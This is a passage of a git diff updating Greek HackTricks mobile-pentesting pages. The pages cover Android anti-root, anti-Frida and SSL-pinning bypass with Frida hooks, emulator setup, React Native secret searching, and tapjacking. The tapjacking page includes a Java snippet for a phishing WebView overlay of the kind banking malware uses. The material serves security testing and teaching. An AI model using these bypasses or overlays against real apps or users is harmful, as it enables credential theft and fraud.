+- κάντε κάποια άχρηστη απόκρυψη για να σπαταλήσετε λίγα λεπτά χρόνου από έναν αναλυτή; - τροφοδοτήστε το αποκρυπτογραφημένο αποτέλεσμα σε ένα ZipInputStream για να αποκτήσετε ένα αρχείο DEX; -- τελικά φορτώστε το προκύπτον DEX ως Πηγή χρησιμοποιώντας τη μέθοδο `loadDex`. +- τελικά φορτώστε το προκύπτον DEX ως Πόρο χρησιμοποιώντας τη μέθοδο `loadDex`. ### [DeGuard](http://apk-deguard.com) @@ -731,7 +735,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ### [APKiD](https://github.com/rednaga/APKiD) -Το APKiD σας δίνει πληροφορίες για **πώς δημιουργήθηκε ένα APK**. Αναγνωρίζει πολλούς **μεταγλωττιστές**, **πακεταριστές**, **αποκρυπτογραφητές** και άλλα περίεργα πράγματα. Είναι το [_PEiD_](https://www.aldeid.com/wiki/PEiD) για το Android. +Το APKiD σας δίνει πληροφορίες για **πώς δημιουργήθηκε ένα APK**. Αναγνωρίζει πολλούς **μεταγλωττιστές**, **πακετάρες**, **αποκρυπτογραφητές** και άλλα περίεργα πράγματα. Είναι το [_PEiD_](https://www.aldeid.com/wiki/PEiD) για το Android. ### Manual diff --git a/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md b/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md index 3fe5fa806..4328e557b 100644 --- a/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md +++ b/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md @@ -12,20 +12,20 @@ - Έλεγχοι πρώιμης αρχικοποίησης: Application.onCreate() ή hooks εκκίνησης διαδικασίας που καταρρέουν αν υπάρχει οργάνωση - TLS pinning: custom TrustManager/HostnameVerifier, OkHttp CertificatePinner, Conscrypt pinning, native pins -## Step 1 — Quick win: hide root with Magisk DenyList +## Step 1 — Γρήγορη νίκη: κρύψε το root με Magisk DenyList -- Ενεργοποιήστε το Zygisk στο Magisk -- Ενεργοποιήστε το DenyList, προσθέστε το στοχευμένο πακέτο -- Επανεκκινήστε και επαναδοκιμάστε +- Ενεργοποίησε το Zygisk στο Magisk +- Ενεργοποίησε το DenyList, πρόσθεσε το στοχευμένο πακέτο +- Επανεκκίνηση και επαναδοκιμή -Πολλές εφαρμογές αναζητούν μόνο προφανείς δείκτες (su/Magisk paths/getprop). Το DenyList συχνά εξουδετερώνει τις απλές ελέγχους. +Πολλές εφαρμογές κοιτούν μόνο προφανείς δείκτες (su/Magisk paths/getprop). Το DenyList συχνά εξουδετερώνει τις απλές ελέγχους. References: - Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk -## Step 2 — 30‑second Frida Codeshare tests +## Step 2 — Δοκιμές Frida Codeshare 30 δευτερολέπτων -Δοκιμάστε κοινά drop‑in scripts πριν βυθιστείτε βαθιά: +Δοκίμασε κοινά drop‑in scripts πριν εμβαθύνεις: - anti-root-bypass.js - anti-frida-detection.js @@ -48,7 +48,7 @@ frida -U -n com.example.app # Or with Objection to attach to running process aobjection --gadget com.example.app explore # if using gadget ``` -Αν αυτό λειτουργεί, διατηρήστε τη συνεδρία σταθερή και προχωρήστε σε χαρτογράφηση και έλεγχο stub. +Αν αυτό λειτουργεί, διατηρήστε τη συνεδρία σταθερή και προχωρήστε σε έλεγχο χαρτογράφησης και stub. ## Βήμα 4 — Χαρτογράφηση λογικής ανίχνευσης μέσω Jadx και αναζήτησης συμβολοσειρών @@ -94,7 +94,7 @@ onComplete: () => console.log('Done') }); }); ``` -Καταγράψτε και αποτρέψτε ύποπτες μεθόδους για να επιβεβαιώσετε τη ροή εκτέλεσης: +Καταγράψτε και αποδυναμώστε ύποπτες μεθόδους για να επιβεβαιώσετε τη ροή εκτέλεσης: ```js Java.perform(() => { const Det = Java.use('com.example.security.DetectionManager'); @@ -121,7 +121,7 @@ strings -n 6 libfoo.so | egrep -i 'frida|ptrace|gum|magisk|su|root' - Ghidra: https://ghidra-sre.org/ - r2frida: https://github.com/nowsecure/r2frida -Παράδειγμα: neuter ptrace για να νικήσετε την απλή anti‑debug στη libc: +Παράδειγμα: neuter ptrace για να νικήσετε την απλή anti‑debug στο libc: ```js const ptrace = Module.findExportByName(null, 'ptrace'); if (ptrace) { @@ -136,7 +136,7 @@ reversing-native-libraries.md ## Βήμα 7 — Patching με Objection (embed gadget / strip basics) -Όταν προτιμάτε την επανασυσκευασία από τα runtime hooks, δοκιμάστε: +Όταν προτιμάτε το repacking από τα runtime hooks, δοκιμάστε: ```bash objection patchapk --source app.apk ``` @@ -163,7 +163,7 @@ make-apk-accept-ca-certificate.md install-burp-certificate.md {{#endref}} -## Χρήσιμη αναφορά εντολών +## Χρήσιμο φύλλο εντολών ```bash # List processes and attach frida-ps -Uai @@ -183,7 +183,7 @@ apk-mitm app.apk ``` ## Συμβουλές & προειδοποιήσεις -- Προτιμήστε την προσκόλληση αργά αντί της εκκίνησης όταν οι εφαρμογές καταρρέουν κατά την εκκίνηση +- Προτιμήστε την προσκόλληση αργά αντί για την εκκίνηση όταν οι εφαρμογές καταρρέουν κατά την εκκίνηση - Ορισμένες ανιχνεύσεις επαναλαμβάνονται σε κρίσιμες ροές (π.χ., πληρωμή, αυθεντικοποίηση) — διατηρήστε τα hooks ενεργά κατά τη διάρκεια της πλοήγησης - Συνδυάστε στατικό και δυναμικό: αναζητήστε συμβολοσειρές στο Jadx για να επιλέξετε κλάσεις; στη συνέχεια, συνδέστε μεθόδους για να επαληθεύσετε σε χρόνο εκτέλεσης - Οι σκληρές εφαρμογές μπορεί να χρησιμοποιούν packers και εγγενές TLS pinning — περιμένετε να αναστρέψετε εγγενή κώδικα diff --git a/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md b/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md index 007f62909..e56cbde7a 100644 --- a/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md +++ b/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md @@ -9,7 +9,7 @@ Το Android Studio επιτρέπει να **τρέχετε εικονικές μηχανές Android που μπορείτε να χρησιμοποιήσετε για να δοκιμάσετε APKs**. Για να τις χρησιμοποιήσετε θα χρειαστείτε: - Τα **εργαλεία Android SDK** - [Κατεβάστε εδώ](https://developer.android.com/studio/releases/sdk-tools). -- Ή **Android Studio** (με εργαλεία Android SDK) - [Κατεβάστε εδώ](https://developer.android.com/studio). +- Ή το **Android Studio** (με εργαλεία Android SDK) - [Κατεβάστε εδώ](https://developer.android.com/studio). Στα Windows (στην περίπτωσή μου) **μετά την εγκατάσταση του Android Studio** είχα τα **εργαλεία SDK εγκατεστημένα στο**: `C:\Users\\AppData\Local\Android\Sdk\tools` @@ -18,17 +18,17 @@ brew tap homebrew/cask brew install --cask android-sdk ``` -Ή από το **Android Studio GUI** όπως υποδεικνύεται στο [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) που θα τα εγκαταστήσει στο `~/Library/Android/sdk/cmdline-tools/latest/bin/` και `~/Library/Android/sdk/platform-tools/` και `~/Library/Android/sdk/emulator/` +Ή από το **Android Studio GUI** όπως υποδεικνύεται στο [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) που θα τα εγκαταστήσει σε `~/Library/Android/sdk/cmdline-tools/latest/bin/` και `~/Library/Android/sdk/platform-tools/` και `~/Library/Android/sdk/emulator/` -Για τα προβλήματα με την Java: +Για τα προβλήματα με το Java: ```java export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home ``` ## GUI -### Prepare Virtual Machine +### Ετοιμάστε την Εικονική Μηχανή -Αν έχετε εγκαταστήσει το Android Studio, μπορείτε απλά να ανοίξετε την κύρια προβολή του έργου και να αποκτήσετε πρόσβαση: _**Tools**_ --> _**AVD Manager.**_ +Αν έχετε εγκαταστήσει το Android Studio, μπορείτε απλά να ανοίξετε την κύρια προβολή έργου και να αποκτήσετε πρόσβαση: _**Tools**_ --> _**AVD Manager.**_
@@ -47,24 +47,27 @@ _**επιλέξτε** το τηλέφωνο που θέλετε να χρησι > > -Στην τρέχουσα προβολή θα μπορείτε να **επιλέξετε και να κατεβάσετε την εικόνα Android** που θα τρέξει το τηλέφωνο: +Στη τρέχουσα προβολή θα μπορείτε να **επιλέξετε και να κατεβάσετε την εικόνα Android** που θα τρέχει το τηλέφωνο:
-Έτσι, επιλέξτε το και αν δεν έχει κατέβει, κάντε κλικ στο σύμβολο _**Download**_ δίπλα στο όνομα (**τώρα περιμένετε μέχρι να κατέβει η εικόνα).**\ +Έτσι, επιλέξτε το και αν δεν έχει κατέβει, κάντε κλικ στο _**Download**_ σύμβολο δίπλα στο όνομα (**τώρα περιμένετε μέχρι να κατέβει η εικόνα).**\ Μόλις η εικόνα κατέβει, απλά επιλέξτε **`Next`** και **`Finish`**. Η εικονική μηχανή θα δημιουργηθεί. Τώρα **κάθε φορά που αποκτάτε πρόσβαση στον AVD manager, θα είναι παρούσα**. -### Run Virtual Machine +### Εκτέλεση Εικονικής Μηχανής Για να **τρέξετε** την εικονική μηχανή, απλά πατήστε το _**Start button**_. ![](<../../images/image (518).png>) -## Command Line tool +## Εργαλείο Γραμμής Εντολών -Πρώτα απ' όλα, πρέπει να **αποφασίσετε ποιο τηλέφωνο θέλετε να χρησιμοποιήσετε**, για να δείτε τη λίστα των πιθανών τηλεφώνων εκτελέστε: +> [!WARNING] +> Για macOS μπορείτε να βρείτε το εργαλείο `avdmanager` στο `/Users//Library/Android/sdk/tools/bin/avdmanager` και το `emulator` στο `/Users//Library/Android/sdk/emulator/emulator` αν τα έχετε εγκαταστήσει. + +Πρώτα απ' όλα, πρέπει να **αποφασίσετε ποιο τηλέφωνο θέλετε να χρησιμοποιήσετε**, για να δείτε τη λίστα με τα διαθέσιμα τηλέφωνα εκτελέστε: ``` C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list device @@ -101,7 +104,7 @@ C:\Users\\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat "platforms;android-28" "system-images;android-28;google_apis;x86_64" ``` -Αφού έχετε κατεβάσει την εικόνα Android που θέλετε να χρησιμοποιήσετε, μπορείτε να **καταγράψετε όλες τις κατεβασμένες εικόνες Android** με: +Αφού έχετε κατεβάσει την εικόνα Android που θέλετε να χρησιμοποιήσετε, μπορείτε να **καταχωρήσετε όλες τις κατεβασμένες εικόνες Android** με: ``` C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list target ---------- @@ -139,6 +142,9 @@ Error: Google pixel_2 no longer exists as a device ``` ### Εκτέλεση Εικονικής Μηχανής +> [!WARNING] +> Για το macOS μπορείτε να βρείτε το εργαλείο `avdmanager` στο `/Users//Library/Android/sdk/tools/bin/avdmanager` και τον `emulator` στο `/Users//Library/Android/sdk/emulator/emulator` αν τα έχετε εγκαταστήσει. + Έχουμε ήδη δει πώς μπορείτε να καταγράψετε τις δημιουργημένες εικονικές μηχανές, αλλά **μπορείτε επίσης να τις καταγράψετε χρησιμοποιώντας**: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -list-avds @@ -167,30 +173,33 @@ C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -ht - `-dns-server 192.0.2.0, 192.0.2.255` : Επιτρέπει να υποδείξετε τους διακομιστές DNS χωρισμένους με κόμμα στη VM. - **`-http-proxy 192.168.1.12:8080`** : Επιτρέπει να υποδείξετε έναν HTTP proxy προς χρήση (πολύ χρήσιμο για την καταγραφή της κίνησης χρησιμοποιώντας το Burp) -- `-port 5556` : Ορίστε τον αριθμό θύρας TCP που χρησιμοποιείται για την κονσόλα και το adb. -- `-ports 5556,5559` : Ορίστε τις θύρες TCP που χρησιμοποιούνται για την κονσόλα και το adb. +- Αν οι ρυθμίσεις του proxy δεν λειτουργούν για κάποιο λόγο, προσπαθήστε να τις ρυθμίσετε εσωτερικά ή χρησιμοποιώντας μια εφαρμογή όπως "Super Proxy" ή "ProxyDroid". +- `-netdelay 200` : Ρυθμίστε την καθυστέρηση δικτύου σε χιλιοστά του δευτερολέπτου. +- `-port 5556` : Ρυθμίστε τον αριθμό θύρας TCP που χρησιμοποιείται για την κονσόλα και το adb. +- `-ports 5556,5559` : Ρυθμίστε τις θύρες TCP που χρησιμοποιούνται για την κονσόλα και το adb. - **`-tcpdump /path/dumpfile.cap`** : Καταγράψτε όλη την κίνηση σε ένα αρχείο **Σύστημα** -- `-selinux {disabled|permissive}` : Ορίστε το module ασφαλείας Security-Enhanced Linux σε κατάσταση είτε απενεργοποιημένη είτε επιτρεπτική σε ένα λειτουργικό σύστημα Linux. -- `-timezone Europe/Paris` : Ορίστε τη ζώνη ώρας για τη εικονική συσκευή -- `-screen {touch(default)|multi-touch|o-touch}` : Ορίστε τη λειτουργία οθόνης αφής που προσομοιώνεται. +- `-selinux {disabled|permissive}` : Ρυθμίστε το module ασφαλείας Security-Enhanced Linux σε κατάσταση είτε απενεργοποιημένη είτε επιτρεπτική σε ένα λειτουργικό σύστημα Linux. +- `-timezone Europe/Paris` : Ρυθμίστε τη ζώνη ώρας για τη εικονική συσκευή +- `-screen {touch(default)|multi-touch|o-touch}` : Ρυθμίστε τη λειτουργία οθόνης αφής προσομοίωσης. - **`-writable-system`** : Χρησιμοποιήστε αυτή την επιλογή για να έχετε μια εγγράψιμη εικόνα συστήματος κατά τη διάρκεια της συνεδρίας προσομοίωσης σας. Θα χρειαστεί επίσης να εκτελέσετε `adb root; adb remount`. Αυτό είναι πολύ χρήσιμο για την εγκατάσταση ενός νέου πιστοποιητικού στο σύστημα. ## Rooting μιας συσκευής Play Store -Εάν κατεβάσατε μια συσκευή με Play Store, δεν θα μπορείτε να αποκτήσετε root άμεσα, και θα λάβετε αυτό το μήνυμα σφάλματος +Αν κατεβάσατε μια συσκευή με Play Store δεν θα μπορέσετε να αποκτήσετε root άμεσα, και θα λάβετε αυτό το μήνυμα σφάλματος ``` $ adb root adbd cannot run as root in production builds ``` -Χρησιμοποιώντας [rootAVD](https://github.com/newbit1/rootAVD) με [Magisk](https://github.com/topjohnwu/Magisk) κατάφερα να το ριζώσω (ακολουθήστε για παράδειγμα [**αυτό το βίντεο**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **ή** [**αυτό εδώ**](https://www.youtube.com/watch?v=qQicUW0svB8)). +Χρησιμοποιώντας [rootAVD](https://github.com/newbit1/rootAVD) με [Magisk](https://github.com/topjohnwu/Magisk) κατάφερα να το ριζώσω (ακολουθήστε για παράδειγμα [**αυτό το βίντεο**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **ή** [**αυτό**](https://www.youtube.com/watch?v=qQicUW0svB8)). ## Εγκατάσταση Πιστοποιητικού Burp Ελέγξτε την παρακάτω σελίδα για να μάθετε πώς να εγκαταστήσετε ένα προσαρμοσμένο πιστοποιητικό CA: + {{#ref}} install-burp-certificate.md {{#endref}} diff --git a/src/mobile-pentesting/android-app-pentesting/react-native-application.md b/src/mobile-pentesting/android-app-pentesting/react-native-application.md index 73ffdcb20..80b825463 100644 --- a/src/mobile-pentesting/android-app-pentesting/react-native-application.md +++ b/src/mobile-pentesting/android-app-pentesting/react-native-application.md @@ -48,11 +48,11 @@ ls ReactNative/assets/ Για να αναζητήσετε ευαίσθητα διαπιστευτήρια και τελικούς προορισμούς, ακολουθήστε αυτά τα βήματα: -1. Προσδιορίστε ευαίσθητες λέξεις-κλειδιά για να αναλύσετε τον κώδικα JavaScript. Οι εφαρμογές React Native συχνά χρησιμοποιούν υπηρεσίες τρίτων, όπως το Firebase, τα endpoints υπηρεσίας AWS S3, ιδιωτικά κλειδιά κ.λπ. +1. Προσδιορίστε ευαίσθητες λέξεις-κλειδιά για να αναλύσετε τον κώδικα JavaScript. Οι εφαρμογές React Native συχνά χρησιμοποιούν υπηρεσίες τρίτων, όπως Firebase, AWS S3 service endpoints, ιδιωτικά κλειδιά κ.λπ. 2. Σε αυτή την συγκεκριμένη περίπτωση, παρατηρήθηκε ότι η εφαρμογή χρησιμοποιούσε την υπηρεσία Dialogflow. Αναζητήστε ένα μοτίβο σχετικό με τη διαμόρφωσή της. -3. Ήταν τυχερό ότι βρέθηκαν ευαίσθητα σκληρά κωδικοποιημένα διαπιστευτήρια στον κώδικα JavaScript κατά τη διάρκεια της διαδικασίας αναγνώρισης. +3. Ήταν τυχερό ότι ευαίσθητα σκληρά διαπιστευτήρια βρέθηκαν στον κώδικα JavaScript κατά τη διάρκεια της διαδικασίας αναγνώρισης. ### Γρήγορη αναζήτηση μυστικών/τελικών προορισμών σε πακέτα @@ -134,7 +134,7 @@ zip -r ../patched.apk * ## Δυναμική Ανάλυση -Μπορείτε να προσπαθήσετε να αναλύσετε δυναμικά την εφαρμογή χρησιμοποιώντας το Frida για να ενεργοποιήσετε τη λειτουργία προγραμματιστή της εφαρμογής React και να χρησιμοποιήσετε το **`react-native-debugger`** για να συνδεθείτε σε αυτήν. Ωστόσο, για αυτό χρειάζεστε προφανώς τον πηγαίο κώδικα της εφαρμογής. Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με αυτό στο [https://newsroom.bedefended.com/hooking-react-native-applications-with-frida/](https://newsroom.bedefended.com/hooking-react-native-applications-with-frida/). +Μπορείτε να προσπαθήσετε να αναλύσετε δυναμικά την εφαρμογή χρησιμοποιώντας το Frida για να ενεργοποιήσετε τη λειτουργία προγραμματιστή της εφαρμογής React και να χρησιμοποιήσετε το **`react-native-debugger`** για να συνδεθείτε σε αυτήν. Ωστόσο, για αυτό χρειάζεστε τον πηγαίο κώδικα της εφαρμογής προφανώς. Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με αυτό στο [https://newsroom.bedefended.com/hooking-react-native-applications-with-frida/](https://newsroom.bedefended.com/hooking-react-native-applications-with-frida/). ### Ενεργοποίηση Υποστήριξης Dev σε έκδοση με Frida (προειδοποιήσεις) @@ -176,7 +176,7 @@ frida-tutorial/objection-tutorial.md Κατά την επιθεώρηση τρίτων modules που είναι ορατά στο JS bundle ή σε εγγενείς βιβλιοθήκες, ελέγξτε για γνωστές ευπάθειες και επαληθεύστε τις εκδόσεις στο `package.json`/`yarn.lock`. - react-native-mmkv (Android): εκδόσεις πριν από την 2.11.0 κατέγραφαν το προαιρετικό κλειδί κρυπτογράφησης στα logs του Android. Αν είναι διαθέσιμα τα ADB/logcat, τα μυστικά θα μπορούσαν να ανακτηθούν. Βεβαιωθείτε ότι είναι >= 2.11.0. Δείκτες: χρήση του `react-native-mmkv`, δηλώσεις log που αναφέρουν την αρχικοποίηση MMKV με κρυπτογράφηση. CVE-2024-21668. -- react-native-document-picker: εκδόσεις < 9.1.1 ήταν ευάλωτες σε διαδρομή αρχείου στο Android (επιλογή αρχείου), διορθώθηκε στην 9.1.1. Επαληθεύστε τις εισόδους και την έκδοση της βιβλιοθήκης. +- react-native-document-picker: εκδόσεις < 9.1.1 ήταν ευάλωτες σε διαδρομή traversal στο Android (επιλογή αρχείου), διορθώθηκε στην 9.1.1. Επαληθεύστε τις εισόδους και την έκδοση της βιβλιοθήκης. Γρήγοροι έλεγχοι: ```bash diff --git a/src/mobile-pentesting/android-app-pentesting/tapjacking.md b/src/mobile-pentesting/android-app-pentesting/tapjacking.md index 1c0ea7dfb..14c6c9a40 100644 --- a/src/mobile-pentesting/android-app-pentesting/tapjacking.md +++ b/src/mobile-pentesting/android-app-pentesting/tapjacking.md @@ -2,17 +2,16 @@ {{#include ../../banners/hacktricks-training.md}} - ## **Βασικές Πληροφορίες** -**Tapjacking** είναι μια επίθεση όπου μια **κακόβουλη** **εφαρμογή** εκκινείται και **τοποθετείται πάνω από μια εφαρμογή θύμα**. Μόλις καλύψει ορατά την εφαρμογή θύμα, η διεπαφή χρήστη της είναι σχεδιασμένη με τέτοιο τρόπο ώστε να παραπλανήσει τον χρήστη να αλληλεπιδράσει με αυτήν, ενώ μεταφέρει την αλληλεπίδραση στην εφαρμογή θύμα.\ +**Tapjacking** είναι μια επίθεση όπου μια **κακόβουλη** **εφαρμογή** εκκινείται και **τοποθετείται πάνω από μια εφαρμογή θύμα**. Μόλις καλύψει ορατά την εφαρμογή θύμα, η διεπαφή χρήστη της είναι σχεδιασμένη με τέτοιο τρόπο ώστε να παραπλανήσει τον χρήστη να αλληλεπιδράσει με αυτήν, ενώ ταυτόχρονα μεταφέρει την αλληλεπίδραση στην εφαρμογή θύμα.\ Στην ουσία, **τυφλώνει τον χρήστη από το να γνωρίζει ότι εκτελεί ενέργειες στην εφαρμογή θύμα**. ### Ανίχνευση Για να ανιχνεύσετε εφαρμογές ευάλωτες σε αυτή την επίθεση, θα πρέπει να αναζητήσετε **εξαγόμενες δραστηριότητες** στο android manifest (σημειώστε ότι μια δραστηριότητα με intent-filter εξάγεται αυτόματα από προεπιλογή). Μόλις βρείτε τις εξαγόμενες δραστηριότητες, **ελέγξτε αν απαιτούν κάποια άδεια**. Αυτό συμβαίνει επειδή η **κακόβουλη εφαρμογή θα χρειαστεί και αυτή την άδεια**. -Μπορείτε επίσης να ελέγξετε την ελάχιστη έκδοση SDK της εφαρμογής, ελέγχοντας την τιμή του **`android:minSdkVersion`** στο **`AndroidManifest.xml`** αρχείο. Αν η τιμή είναι **χαμηλότερη από 30**, η εφαρμογή είναι ευάλωτη σε Tapjacking. +Μπορείτε επίσης να ελέγξετε την ελάχιστη έκδοση SDK της εφαρμογής, ελέγχοντας την τιμή του **`android:minSdkVersion`** στο αρχείο **`AndroidManifest.xml`**. Αν η τιμή είναι **χαμηλότερη από 30**, η εφαρμογή είναι ευάλωτη σε Tapjacking. ### Προστασία @@ -22,7 +21,7 @@ #### `filterTouchesWhenObscured` -Αν **`android:filterTouchesWhenObscured`** είναι ρυθμισμένο σε **`true`**, το `View` δεν θα λαμβάνει επαφές όποτε το παράθυρο της προβολής καλύπτεται από άλλο ορατό παράθυρο. +Αν **`android:filterTouchesWhenObscured`** είναι ρυθμισμένο σε **`true`**, η `View` δεν θα λαμβάνει επαφές όποτε το παράθυρο της προβολής καλύπτεται από άλλο ορατό παράθυρο. #### **`setFilterTouchesWhenObscured`** @@ -55,7 +54,7 @@ android:filterTouchesWhenObscured="true"> Μπορείτε να χρησιμοποιήσετε [**qark**](https://github.com/linkedin/qark) με τις παραμέτρους `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` για να δημιουργήσετε μια κακόβουλη εφαρμογή για να ελέγξετε πιθανές ευπάθειες **Tapjacking**.\ -Η μείωση είναι σχετικά απλή καθώς ο προγραμματιστής μπορεί να επιλέξει να μην λαμβάνει γεγονότα αφής όταν μια προβολή καλύπτεται από άλλη. Χρησιμοποιώντας την [Αναφορά Προγραμματιστή Android](https://developer.android.com/reference/android/view/View#security): +Η μείωση του κινδύνου είναι σχετικά απλή καθώς ο προγραμματιστής μπορεί να επιλέξει να μην λαμβάνει γεγονότα αφής όταν μια προβολή καλύπτεται από άλλη. Χρησιμοποιώντας την [Αναφορά Προγραμματιστή Android](https://developer.android.com/reference/android/view/View#security): > Μερικές φορές είναι απαραίτητο μια εφαρμογή να μπορεί να επαληθεύσει ότι μια ενέργεια εκτελείται με πλήρη γνώση και συγκατάθεση του χρήστη, όπως η χορήγηση ενός αιτήματος άδειας, η πραγματοποίηση μιας αγοράς ή το κλικ σε μια διαφήμιση. Δυστυχώς, μια κακόβουλη εφαρμογή θα μπορούσε να προσπαθήσει να παραπλανήσει τον χρήστη να εκτελέσει αυτές τις ενέργειες, χωρίς να το γνωρίζει, αποκρύπτοντας τον προορισμό της προβολής. Ως remedy, το πλαίσιο προσφέρει έναν μηχανισμό φιλτραρίσματος αφής που μπορεί να χρησιμοποιηθεί για να βελτιώσει την ασφάλεια των προβολών που παρέχουν πρόσβαση σε ευαίσθητη λειτουργικότητα. > @@ -68,9 +67,9 @@ android:filterTouchesWhenObscured="true"> Εκτός από το κλασικό Tapjacking, οι σύγχρονες οικογένειες κακόβουλου λογισμικού τραπεζών Android (π.χ. **ToxicPanda**, BrasDex, Sova, κ.λπ.) εκμεταλλεύονται την **Υπηρεσία Προσβασιμότητας** για να τοποθετήσουν μια πλήρους οθόνης WebView **επικάλυψη** πάνω από την νόμιμη εφαρμογή ενώ εξακολουθούν να μπορούν να **προωθούν την είσοδο του χρήστη** στην προβολή από κάτω. Αυτό αυξάνει δραματικά την πιστότητα και επιτρέπει στους επιτιθέμενους να κλέβουν διαπιστευτήρια, OTP ή ακόμη και να αυτοματοποιούν δόλιες συναλλαγές. ### Πώς λειτουργεί -1. Το κακόβουλο APK ζητά την εξαιρετικά ευαίσθητη άδεια `BIND_ACCESSIBILITY_SERVICE`, συνήθως κρύβοντας το αίτημα πίσω από ένα ψεύτικο διάλογο Google/Chrome/προβολέα PDF. +1. Το κακόβουλο APK ζητά την εξαιρετικά ευαίσθητη άδεια `BIND_ACCESSIBILITY_SERVICE`, συνήθως κρύβοντας το αίτημα πίσω από ένα ψεύτικο διάλογο Google/Chrome/αναγνώστη PDF. 2. Μόλις ο χρήστης ενεργοποιήσει την υπηρεσία, το κακόβουλο λογισμικό προγραμματισμένα προσομοιώνει τα κλικ που απαιτούνται για να χορηγήσει επιπλέον επικίνδυνες άδειες (`READ_SMS`, `SYSTEM_ALERT_WINDOW`, `REQUEST_INSTALL_PACKAGES`, …). -3. Μια **WebView** φουσκώνεται και προστίθεται στον διαχειριστή παραθύρων χρησιμοποιώντας τον τύπο παραθύρου **`TYPE_ACCESSIBILITY_OVERLAY`**. Η επικάλυψη μπορεί να αποδοθεί εντελώς αδιαφανής ή ημι-διαφανής και μπορεί να σημειωθεί ως *“μέσω”* έτσι ώστε οι αρχικές αφές να παραδίδονται ακόμα στη δραστηριότητα στο παρασκήνιο (έτσι η συναλλαγή συμβαίνει πραγματικά ενώ το θύμα βλέπει μόνο τη φόρμα phishing). +3. Μια **WebView** φουσκώνεται και προστίθεται στον διαχειριστή παραθύρων χρησιμοποιώντας τον τύπο παραθύρου **`TYPE_ACCESSIBILITY_OVERLAY`**. Η επικάλυψη μπορεί να αποδοθεί εντελώς αδιαφανής ή ημι-διαφανής και μπορεί να σημειωθεί ως *“μέσω”* ώστε οι αρχικές αφές να παραδίδονται ακόμα στη δραστηριότητα στο παρασκήνιο (έτσι η συναλλαγή συμβαίνει πραγματικά ενώ το θύμα βλέπει μόνο τη φόρμα phishing). ```java WebView phishingView = new WebView(getApplicationContext()); phishingView.getSettings().setJavaScriptEnabled(true); @@ -101,7 +100,7 @@ wm.addView(phishingView, lp); - Απενεργοποιήστε *Εγκατάσταση από Άγνωστες Πηγές* & *Προσβασιμότητα για μη αξιόπιστες εφαρμογές*. - Επιβάλετε PlayProtect & ενημερωμένες συσκευές. -Για επιπλέον λεπτομέρειες σχετικά με την εκμετάλλευση των Υπηρεσιών Προσβασιμότητας για πλήρη απομακρυσμένο έλεγχο συσκευής (π.χ. PlayPraetor, SpyNote, κ.λπ.) δείτε: +Για πρόσθετες λεπτομέρειες σχετικά με την εκμετάλλευση των Υπηρεσιών Προσβασιμότητας για πλήρη απομακρυσμένο έλεγχο συσκευής (π.χ. PlayPraetor, SpyNote, κ.λπ.) δείτε: {{#ref}} accessibility-services-abuse.md diff --git a/src/mobile-pentesting/ios-pentesting/README.md b/src/mobile-pentesting/ios-pentesting/README.md index b013ab6fe..e20329dd2 100644 --- a/src/mobile-pentesting/ios-pentesting/README.md +++ b/src/mobile-pentesting/ios-pentesting/README.md @@ -4,6 +4,7 @@ ## iOS Basics + {{#ref}} ios-basics.md {{#endref}} @@ -12,6 +13,7 @@ ios-basics.md Σε αυτή τη σελίδα μπορείτε να βρείτε πληροφορίες σχετικά με τον **iOS simulator**, **emulators** και **jailbreaking:** + {{#ref}} ios-testing-environment.md {{#endref}} @@ -22,6 +24,7 @@ ios-testing-environment.md Κατά τη διάρκεια της δοκιμής **θα προταθούν αρκετές ενέργειες** (σύνδεση στη συσκευή, ανάγνωση/γραφή/ανέβασμα/κατέβασμα αρχείων, χρήση κάποιων εργαλείων...). Επομένως, αν δεν ξέρετε πώς να εκτελέσετε καμία από αυτές τις ενέργειες, παρακαλώ, **ξεκινήστε να διαβάζετε τη σελίδα**: + {{#ref}} basic-ios-testing-operations.md {{#endref}} @@ -32,12 +35,12 @@ basic-ios-testing-operations.md ### Basic Static Analysis -Ορισμένοι ενδιαφέροντες αποσυμπιεστές αρχείων iOS - IPA: +Ορισμένα ενδιαφέροντα decompilers iOS - IPA αρχείων: - [https://github.com/LaurieWired/Malimite](https://github.com/LaurieWired/Malimite) - [https://ghidra-sre.org/](https://ghidra-sre.org/) -Συνιστάται να χρησιμοποιήσετε το εργαλείο [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) για να εκτελέσετε μια αυτόματη Στατική Ανάλυση στο αρχείο IPA. +Συνιστάται να χρησιμοποιήσετε το εργαλείο [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) για να εκτελέσετε μια αυτόματη Στατική Ανάλυση στο IPA file. Αναγνώριση των **προστασιών που υπάρχουν στο δυαδικό**: @@ -47,7 +50,7 @@ basic-ios-testing-operations.md otool -hv | grep PIE # Θα πρέπει να περιλαμβάνει τη 